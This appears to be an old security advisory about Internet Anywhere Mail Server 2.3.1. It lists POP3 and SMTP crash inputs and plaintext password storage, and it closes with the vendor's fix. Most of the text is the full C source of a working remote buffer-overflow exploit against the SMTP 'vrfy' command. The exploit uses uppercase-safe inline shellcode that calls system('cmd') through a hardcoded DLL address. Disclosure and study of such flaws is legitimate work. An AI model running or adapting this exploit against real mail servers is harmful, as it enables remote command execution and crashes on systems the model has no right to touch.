COMMAND
Internet Anywhere Mail Server
SYSTEMS AFFECTED
WinNT with IAMS 2.3.1, build 10020
PROBLEM
Arne Vidstrom found found a some vulnerabilities in Internet
Anywhere Mail Server version 2.3.1, build 10020. They are
probably present in earlier versions too:
1) If you send the POP3 server the commands "user", "retr", "list"
or "uidl" with arguments that are about 200 characters long,
the server crashes.
2) If you send the POP3 server the commands "list a", "top a a",
or "uidl a" (that is, letters where there should be numbers),
the server crashes.
3) If you send the SMTP server the command "vrfy" with an argument
that is about 250 characters long, the server crashes.
4) Another problem is that the server stores the account passwords
in plaintext in the file msgboxes.dbf.
So, is it possible to get some code of our own to execute by
exploiting the buffer overflows? Arne made the program
iamexploit.c below that starts the Command Prompt in one of my
servers when he run it from another computer (it probably won't
do it on yours without modification, see below). The program
exploits the vrfy overflow. How easy would it be to modify it to
work against other systems? First of all it is dependent on the
version of msvcrt.dll, because of the entry adress to the system()
function. This part of the program could of course be changed.
There is however another complication in this case - the server
converts the whole vrfy string to uppercase after receiving it -
and that includes converting the payload machine code to uppercase
too. Arne circumvented this by using assembly instructions which
don't generate machine code which contains "lowercase character
values". A bit tricky, especially since you can't have any null
characters in the code either, but it works. I wouldn't want to
write any complicated payload this way though. Now, there are a
couple of more problems here. First of all, the bytes we send to
overwrite the return address are also converted to uppercase.
This time we were lucky, the ones Arne used in his case are ok.
The second problem is that the stack location depends on more
things than the SP version and so on. Arne hasn't figured out
what yet. So, here's the code, with "dynamic" loading of the
payload - you can modify the inline assembly instructions and just
recompile the program. Isn't that so high tech?
//
// iamexploit.c - by Arne Vidstrom - http://www.bahnhof.se/~winnt/
//
// This exploit code starts the Command Prompt on a remote computer
// running Internet Anywhere Mail Server version 2.3.1, build 10020.
// However, it is very dependent on different DLL versions installed
// on the server computer. This code exploits a vrfy buffer overflow
// in the SMTP part of the mail server.
//
#include <stdio.h>
#include <windows.h>
#include <winsock.h>
#include <string.h>
#define sockaddr_in struct sockaddr_in
#define sockaddr struct sockaddr
// Server IP address
char ipaddr[25] = "xxx.xxx.xxx.xxx";
// Server port, the default is 25
unsigned short port = xxxxx;
// Payload machine code size and location
DWORD stop, start, size;
// The overflow string
unsigned char s[251];
// This function contains the payload assembly code and some extra
// code to support dynamic loading of the payload
BOOL createPayload(void)
{
DWORD point1, point2;
__asm {
// First checkpoint for code location
MOV point1, $
JMP AFTER
// Exploit payload starts here ->>
// Set up a new stack frame, but there's no need to push EBP
// since we'll never return from here
MOV EBP, ESP
// Manipulate the null terminated string "cmd" into ESI
// and push it onto the stack - we can't just move it into
// memory with three MOV BYTE PTR's because the machine code
// they generate will be destroyed when the mail server
// convert the string to uppercase
MOV ESI, 0FF646d63h
AND ESI, 0F0FFFFFFh
AND ESI, 0FFFFFFFh
PUSH ESI
// Manipulate the system() function's entry address into ESI
// the same way as we did with the "cmd" string and push it
// onto the stack too - 7801C1A0h only works for version
// 5.00.7128 of the DLL msvcrt.dll
MOV ESI, 7801C1A0h
MOV EBX, 20FFFFFFh
AND EBX, 0FF0F0F0Fh
AND EBX, 0FFF0F0F0h
OR ESI, EBX
AND ESI, 0FFFFDFFFh
PUSH ESI
// Load the address to the "cmd" string into EAX and push it
// onto the stack for use by system() below
LEA EAX, [EBP-04h]
PUSH EAX
// Call system() which starts the Command Prompt
CALL DWORD PTR [EBP-8h]
// Infinite loop - the server won't crash when the Command
// Prompt is closed, and it will also continue responding
// to more clients, though CPU usage will be 100%
LABEL1:
JMP LABEL1
// <<- Exploit payload ends here
// Second checkpoint for code location
AFTER:
MOV point2, $
}
// Calculate payload size and location
size = point2 - point1 - 12;
start = point1 + 12;
stop = point2;
// Payload size vs. server buffer size overflow check
if (size > 75)
return FALSE;
else
return TRUE;
}
// Create the vrfy overflow string
void createOverflow(void)
{
unsigned char payload[236];
unsigned char fillout[236];
unsigned char ret[5];
unsigned int i;
unsigned long temp;
unsigned char *p;
// Create a string containing the payload
temp = start;
for (i=0; i<size; i++) {
p = (unsigned char*) temp;
payload[i] = *p;
temp++;
}
payload[i] = '\0';
// Fill out with some 'a' until we hit the function return
// address on the stack
i = strlen(payload);
while (i<235) {
fillout[i-strlen(payload)] = 'a';
i++;
}
fillout[i-strlen(payload)] = '\0';
// Overwrite the return address to the location of the payload
// inside the buffer
ret[0] = 0x45;
ret[1] = 0xF4;
ret[2] = 0xF1;
ret[3] = 0x01;
ret[4] = 0x00;
// Put together the whole vrfy overflow string
strcpy(s, "vrfy xxxxx");
strcat(s, payload);
strcat(s, fillout);
strcat(s, ret);
strcat(s, "\r\n");
printf("Created overflow string.\n");
}
// Connect to the server, say hi and then send the overflow string
void sendOverflow(void)
{
SOCKET socket1;
WSADATA winSockData;
sockaddr_in peer;
int flags;
int result;
char buffer[1024];
// Allocate a socket, connect and stuff...
WSAStartup(0x0101, &winSockData);
socket1 = socket(PF_INET, SOCK_STREAM, IPPROTO_TCP);
peer.sin_family = AF_INET;
peer.sin_port = htons(port);
peer.sin_addr.s_addr = inet_addr(ipaddr);
result = connect(socket1, (sockaddr *) &peer, sizeof(peer));
if (result != 0) {
printf("Couldn't connect to the server!\n");
closesocket(socket1);
WSACleanup();
}
else {
// Wait for the server to give us the welcome message, this
// is a bit simplified because we can't expect the whole
// message in one recv, but it will do in this case
flags = 0;
result = recv(socket1, buffer, 1024, flags);
// Say hi to the server
flags = 0;
result = send(socket1, "helo\r\n", strlen("helo\r\n"), flags);
// Wait for the server to say ok, the same as above goes here
flags = 0;
result = recv(socket1, buffer, 1024, flags);
// Send the overflow string to the server
flags = 0;
result = send(socket1, s, strlen(s), flags);
if (result != SOCKET_ERROR)
printf("Overflow sent to the server.\n");
// Wait a couple of seconds
Sleep(2000);
// Clean up
closesocket(socket1);
WSACleanup();
}
}
// Guess what this is :o)
int main(void)
{
DWORD temp;
unsigned char *p;
printf("\niamexploit.c - by Arne Vidstrom - http://www.bahnhof.se/~winnt/\n\n");
// Generate payload machine code and check size
if (!createPayload()) {
printf("ERROR: The payload machine code generated will not fit in the buffer!\n");
return 1;
}
else
printf("%ld bytes of payload machine code generated.\n", size);
// Check for null characters in the payload
for (temp=start; temp<stop; temp++) {
p = (unsigned char*) temp;
if (*p == 0) {
printf("ERROR: The payload machine code generated contains the null character!\n");
return 1;
}
}
printf("Payload ok.\n");
// Create the overflow string
createOverflow();
// Send the overflow string to the server
sendOverflow();
printf("Over and out!\n\n");
return 0;
}
SOLUTION
Points 1-3 are fixed in the brand new version 3.1 which is now
available at
http://www.tnsoft.com/
but point 4 will not be fixed until a future version - all this
according to True North Software.